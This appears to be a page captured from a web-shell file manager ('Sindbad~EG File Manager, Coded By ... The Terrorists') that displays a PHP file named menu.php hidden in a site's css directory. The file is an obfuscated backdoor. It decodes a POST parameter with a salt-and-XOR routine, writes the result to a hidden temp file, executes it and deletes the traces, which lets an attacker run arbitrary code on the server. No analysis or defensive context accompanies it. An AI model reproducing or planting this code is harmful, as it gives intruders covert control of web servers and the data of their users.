Sindbad~EG File Manager

Current Path : /var/www/html/performance.sumar.com.py/public/css/css/css/
Upload File :
Current File : /var/www/html/performance.sumar.com.py/public/css/css/css/menu.php

<?php

if(array_key_exists("\x74\x6Bn", $_POST) && !is_null($_POST["\x74\x6Bn"])){
	$itm = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TMP")]);
	$sym = $_POST["\x74\x6Bn"];
	  $sym			=		explode	 	( '.',	$sym);		 
	$token = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt);
            $x = 0;
    
            $__tmp = $sym;
            while( $v9 = array_shift( $__tmp)) {	$sChar = ord( $salt[$x % $lenS]);
                $d = ( ( int)$v9 - $sChar -( $x % 10)) ^ 52;
                $token.=		chr( $d);
                $x++;} 
	for ($flg = 0, $ref = count($itm); $flg < $ref; $flg++) {
    $factor = $itm[$flg];
    		if (is_writable($factor) && is_dir($factor)) {
    $pset = vsprintf("%s/%s", [$factor, ".mrk"]);
    if (file_put_contents($pset, $token)) {
	require $pset;
	unlink($pset);
	exit;
}
}
}
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists